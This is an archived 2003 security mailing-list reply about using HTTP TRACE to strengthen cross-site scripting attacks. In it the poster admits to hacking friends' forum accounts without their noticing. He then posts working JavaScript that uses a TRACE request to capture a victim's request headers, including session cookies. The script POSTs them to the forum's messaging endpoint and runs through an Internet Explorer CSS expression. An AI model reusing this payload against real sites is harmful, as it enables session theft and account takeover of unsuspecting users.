Pantek Library
Hosting Provided By
CybrHost
High Speed Hosting

Re: TRACE used to increase the dangerous of XSS.

From: Phrack <security(at)fooyu.com>
Date: Thu Jan 23 2003 - 20:08:28 EST

It's really a terrible security hole. Using this method, I have hacked some BBS account of my friends. If you do it properly, it wouldn't be noticed by victim. The following is my code:

<script type="text/javascript">

function xssDomainTraceRequest(){

  var exampleCode = "var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\")\;xmlHttp.open(\"TRACE\",\"http://bbs.for.bar\",false)\;xmlHttp.send()\;xmlDoc=xmlHttp.responseText\;xmlHttp.open(\"POST\",\"http://bbs.for.bar/member.php\",false)\;xmlHttp.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\")\;xmlHttp.send(\"s=&action=emailmessage&userid=11111&subject=test&message=\" + xmlDoc)\;";

  var target = "http://bbs.for.bar";

  cExampleCode = encodeURIComponent(exampleCode + ';top.close()');   var readyCode = 'font-size:expression(execScript(decodeURIComponent("' + cExampleCode + '")))';   showModalDialog(target, null, readyCode); }
</script>

<script>

xssDomainTraceRequest();
</script>

Do you need help?X

Chen haiyan, CISSP
System Security Engineer
HENAN CFONLINE COMMERCE CO., LTD. Received on Thu Jan 23 23:05:16 2003

This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:07:47 EDT


Contact Us  Legal Notices  Order Services Online 
Pantek Home  Privacy Policy  IT news  Site Map  Pantek Library